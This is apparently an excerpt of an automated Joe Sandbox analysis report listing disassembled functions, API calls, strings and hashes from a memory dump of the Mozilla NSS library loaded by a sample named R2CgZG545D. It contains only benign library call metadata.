_PR_CreateThread.NSS3(00000000,6C72A530,00000000,00000001,00000001,00000000,?,00000000), ref: 6C729E29
calloc.MOZGLUE(00000001,0000000C), ref: 6C729E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6C729E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C729E89

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: 4a2f8d1692d85d8e466a53c15e228d37cc7ce0751d4d4b44be346bebfb99d22a
Instruction ID: 691d81f46e8b76458040673eabe9c431fcca9a64c3ff171ce5fddfd4fcf7f201
Opcode Fuzzy Hash: 4a2f8d1692d85d8e466a53c15e228d37cc7ce0751d4d4b44be346bebfb99d22a
Instruction Fuzzy Hash: 996159B1E00706AFD714DF75C944AA7BBE8FF49208B04453AE81AC7B50EB34E954CBA5

Function 6C623FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6C624014

Part of subcall function 6C6239F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C625E6F,?), ref: 6C623A08
Part of subcall function 6C6239F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C625E6F), ref: 6C623A1C
Part of subcall function 6C6239F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C623A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6C624038

Part of subcall function 6C670FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6187ED,00000800,6C60EF74,00000000), ref: 6C671000
Part of subcall function 6C670FF0: PR_NewLock.NSS3(?,00000800,6C60EF74,00000000), ref: 6C671016
Part of subcall function 6C670FF0: PL_InitArenaPool.NSS3(00000000,security,6C6187ED,00000008,?,00000800,6C60EF74,00000000), ref: 6C67102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C62404D

Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C6710F3
Part of subcall function 6C6710C0: EnterCriticalSection.KERNEL32(?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67110C
Part of subcall function 6C6710C0: PL_ArenaAllocate.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671141
Part of subcall function 6C6710C0: PR_Unlock.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671182
Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6C73A0F4), ref: 6C6240C2

Part of subcall function 6C66F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C66F0C8
Part of subcall function 6C66F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C66F122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6C62409A

Part of subcall function 6C66BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C61E708,00000000,00000000,00000004,00000000), ref: 6C66BE6A
Part of subcall function 6C66BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6204DC,?), ref: 6C66BE7E
Part of subcall function 6C66BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C66BEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6240DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6240F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C624108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6C62411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6C624137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6C624150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6C73A1C8), ref: 6C62417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6C624194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C6241A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6241B2
PK11_DestroyObject.NSS3(?,?), ref: 6C6241D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6241FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6C73A1A8), ref: 6C62422D

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: 977c211406646ab71389dce9ddd4bba907c22c5a840d8e81d8993a87b4e84c88
Instruction ID: 7d11f1ffda60c6c8e438d1f72a5ee0b2f7a1cf3a06bbd19394394c10591f15a5
Opcode Fuzzy Hash: 977c211406646ab71389dce9ddd4bba907c22c5a840d8e81d8993a87b4e84c88
Instruction Fuzzy Hash: 635107B1A043006BF7109A269C45BB776DCDF6134CF040929FD5AC6F42FBB5E5188A6E

Function 6C668E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C668E01,00000000,6C669060,6C770B64), ref: 6C668E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C668E01,00000000,6C669060,6C770B64), ref: 6C668E9E
PORT_ArenaAlloc_Util.NSS3(6C770B64,00000001,?,?,?,?,6C668E01,00000000,6C669060,6C770B64), ref: 6C668EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C668E01,00000000,6C669060,6C770B64), ref: 6C668EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C668E01,00000000,6C669060,6C770B64), ref: 6C668ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C668E01,00000000,6C669060,6C770B64), ref: 6C668EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C668E01), ref: 6C668EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C770B64,6C770B64), ref: 6C668F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C668F3F

Part of subcall function 6C66A110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C66A421,00000000,00000000,6C669826), ref: 6C66A136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C66904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C668E76

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: 61b50c6ee95ba04963e4bf15878764773bbe4a00eaa03cbdb69e129bdf240d4e
Instruction ID: edb926f736c5b071d21a9be54505a1d9cbf16e5c7978d41e0b5e29422776bcc2
Opcode Fuzzy Hash: 61b50c6ee95ba04963e4bf15878764773bbe4a00eaa03cbdb69e129bdf240d4e
Instruction Fuzzy Hash: 3161D1B5D0020A9BDB10CF66CD84AEBB7B5FF89358F144128DC58A7B10E732A915CBB5

Function 6C618E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C618E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C618E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C618EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C7418D0,?), ref: 6C618F03
PR_CallOnce.NSS3(6C772AA4,6C6712D0), ref: 6C618F19
PL_FreeArenaPool.NSS3(?), ref: 6C618F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C618F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C618F65
PL_FinishArenaPool.NSS3(?), ref: 6C618FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6C618FFE
PR_CallOnce.NSS3(6C772AA4,6C6712D0), ref: 6C619012
PL_FreeArenaPool.NSS3(?), ref: 6C619024
PL_FinishArenaPool.NSS3(?), ref: 6C61902C
PORT_DestroyCheapArena.NSS3(?), ref: 6C61903E

Strings

security, xrefs: 6C618EE7

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 7391918f55716246e6be134a2a80f483474633a7a7a18ee99f996b6fa71a294b
Instruction ID: a6b841506a7fd6ed2d81fb838f40c0cdf1a75ac0e9561d9453b5b596fc6f7bfd
Opcode Fuzzy Hash: 7391918f55716246e6be134a2a80f483474633a7a7a18ee99f996b6fa71a294b
Instruction Fuzzy Hash: 4B5127B150C300AFD7109A199C40FEB73A8AB8A35DF56082EF95997F50E731D909876F

Function 6C6DCD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C6DCC7B), ref: 6C6DCD7A

Part of subcall function 6C6DCE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C64C1A8,?), ref: 6C6DCE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C6DCDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C6DCDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6C6DCDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C6DCD8E

Part of subcall function 6C6005C0: PR_EnterMonitor.NSS3 ref: 6C6005D1
Part of subcall function 6C6005C0: PR_ExitMonitor.NSS3 ref: 6C6005EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6C6DCDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C6DCDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C6DCE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C6DCE29
PR_UnloadLibrary.NSS3(00000000), ref: 6C6DCE48

Strings

getaddrinfo, xrefs: 6C6DCD88, 6C6DCDF9
getnameinfo, xrefs: 6C6DCDB2, 6C6DCE23
ws2_32.dll, xrefs: 6C6DCD75
freeaddrinfo, xrefs: 6C6DCD9F, 6C6DCE10
wship6.dll, xrefs: 6C6DCDE3

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: b389fc4f52e21a5b9cc85e9233bed0d5dc03657636fc415b2d1272a73b9a337d
Instruction ID: 83fa4a518818b800431dbff2fc80c1a3df72a4964d7ee9a7127c07a08768b0cc
Opcode Fuzzy Hash: b389fc4f52e21a5b9cc85e9233bed0d5dc03657636fc415b2d1272a73b9a337d
Instruction Fuzzy Hash: B711EBE5F1252967D7026D712E1099E3A9C5B4314DF158934D40AE2E41FF21E60DC7FE

Function 6C721C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6C7213BC,?,?,?,6C721193), ref: 6C721C6B
PR_NewLock.NSS3(?,6C721193), ref: 6C721C7E

Part of subcall function 6C6D98D0: calloc.MOZGLUE(00000001,00000084,6C600936,00000001,?,6C60102C), ref: 6C6D98E5

PR_NewCondVar.NSS3(00000000,?,6C721193), ref: 6C721C91

Part of subcall function 6C5FBB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C6021BC), ref: 6C5FBB8C

PR_NewCondVar.NSS3(00000000,?,?,6C721193), ref: 6C721CA7

Part of subcall function 6C5FBB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C5FBBEB
Part of subcall function 6C5FBB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C5FBBFB
Part of subcall function 6C5FBB80: GetLastError.KERNEL32 ref: 6C5FBC03
Part of subcall function 6C5FBB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C5FBC19
Part of subcall function 6C5FBB80: free.MOZGLUE(00000000), ref: 6C5FBC22

PR_NewCondVar.NSS3(00000000,?,?,?,6C721193), ref: 6C721CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6C721193), ref: 6C721CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6C721193), ref: 6C721CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6C721193), ref: 6C721D1A

Part of subcall function 6C6D9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C601A48), ref: 6C6D9BB3
Part of subcall function 6C6D9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C601A48), ref: 6C6D9BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6C721193), ref: 6C721D3D

Part of subcall function 6C6BDD70: TlsGetValue.KERNEL32 ref: 6C6BDD8C
Part of subcall function 6C6BDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6BDDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6C721193), ref: 6C721D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6C721193), ref: 6C721D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6C721193), ref: 6C721D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6C721193), ref: 6C721D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6C721193), ref: 6C721D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6C721193), ref: 6C721D93
PR_DestroyLock.NSS3(00000000,?,?,6C721193), ref: 6C721D9F
free.MOZGLUE(00000000,?,6C721193), ref: 6C721DA8

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: e9714619f2483ba647966da03dd3153f69c831cbb4c45b96754c8939af985e87
Instruction ID: 5a0b1b67abd996095e694f8b9eb8863f868c9e5d530ac3119f59074349df55fc
Opcode Fuzzy Hash: e9714619f2483ba647966da03dd3153f69c831cbb4c45b96754c8939af985e87
Instruction Fuzzy Hash: 6731D9F1E007019BEB119F35AD11A6776F4BF0260CF040438E84A97B41FB32E919CBA6

Function 6C635E60 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C635ECF
EnterCriticalSection.KERNEL32(?), ref: 6C635EE3
PR_Unlock.NSS3(?), ref: 6C635F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6C635FB5

Strings

NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6C6361F4
S&el, xrefs: 6C635E6C, 6C63627F, 6C635F12
S&el, xrefs: 6C6362E3

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT$S&el$S&el
API String ID: 2280678669-1153363371
Opcode ID: 371049e46c1a997fdb55f1a8394108813f5943bc6b865903c1eecca809a96c7e
Instruction ID: 17c9756ad9bc2187ac54816c8e96c224f4db0c7fb1a9c3b2f892db72f4edabac
Opcode Fuzzy Hash: 371049e46c1a997fdb55f1a8394108813f5943bc6b865903c1eecca809a96c7e
Instruction Fuzzy Hash: 57F105B4A002158FDB44CF29C984B86BBF4FF09304F5592AAD8089F746D774EA94CF95

Function 6C680C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,hl), ref: 6C680C81

Part of subcall function 6C66BE30: SECOID_FindOID_Util.NSS3(6C62311B,00000000,?,6C62311B,?), ref: 6C66BE44

Part of subcall function 6C658500: SECOID_GetAlgorithmTag_Util.NSS3(6C6595DC,00000000,00000000,00000000,?,6C6595DC,00000000,00000000,?,6C637F4A,00000000,?,00000000,00000000), ref: 6C658517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C680CC4

Part of subcall function 6C66FAB0: free.MOZGLUE(?,-00000001,?,?,6C60F673,00000000,00000000), ref: 6C66FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C680CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C680D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C680D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C680D7D
free.MOZGLUE(00000000), ref: 6C680DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C680DC1
free.MOZGLUE(00000000), ref: 6C680DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C680E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C680E0F

Part of subcall function 6C6595C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C637F4A,00000000,?,00000000,00000000), ref: 6C6595E0
Part of subcall function 6C6595C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C637F4A,00000000,?,00000000,00000000), ref: 6C6595F5
Part of subcall function 6C6595C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C659609
Part of subcall function 6C6595C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C65961D
Part of subcall function 6C6595C0: PK11_GetInternalSlot.NSS3 ref: 6C65970B
Part of subcall function 6C6595C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C659756
Part of subcall function 6C6595C0: PK11_GetIVLength.NSS3(?), ref: 6C659767
Part of subcall function 6C6595C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C65977E
Part of subcall function 6C6595C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C65978E

Strings

-$hl, xrefs: 6C680C64
*,hl, xrefs: 6C680DCC
*,hl, xrefs: 6C680C69, 6C680DE0, 6C680C80, 6C680C8B, 6C680CAF

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,hl$*,hl$-$hl
API String ID: 3136566230-455015017
Opcode ID: a268bcfb20be5c5e0b9c06f7810c8144932be5bfda91d7002d0d7f652f9d4cd1
Instruction ID: 7faac86266a23e91d20572137cee816eb9266bcdd1a79457471f252ca44a0f68
Opcode Fuzzy Hash: a268bcfb20be5c5e0b9c06f7810c8144932be5bfda91d7002d0d7f652f9d4cd1
Instruction Fuzzy Hash: A741D2B1902255ABEB009F65DC41BEF76B4EF0630CF104524E91957B41E735AA14CBFE

Function 6C675CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6C675EC0,00000000,?,?), ref: 6C675CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6C675CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C675CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C675D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6C675EC0,00000000,?,?), ref: 6C675D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6C675D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C675D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C675D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6C675D80

Strings

extern:, xrefs: 6C675CEA, 6C675D4B
multiaccess:, xrefs: 6C675CB8
NSS_DEFAULT_DB_TYPE, xrefs: 6C675D1A
dbm:, xrefs: 6C675D03, 6C675D60
sql:, xrefs: 6C675CD1, 6C675D36

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: ebcf3da36b06ab8f2c05cf5afa75032576f06a265a17d47fe38a4a38bdcac9d5
Instruction ID: efb66643bdaf574b3d88c98c3180d8f844f15983952f9abb790d9aad6b136e6b
Opcode Fuzzy Hash: ebcf3da36b06ab8f2c05cf5afa75032576f06a265a17d47fe38a4a38bdcac9d5
Instruction Fuzzy Hash: 2931D4B0B413516FEB211A359F48B6637E8AF02349F240D70ED55E6A81FB72D611C2BD

Function 6C676CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6C741DE0,?), ref: 6C676CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C676D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C676D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C676D82
DER_GetInteger_Util.NSS3(?), ref: 6C676DA2
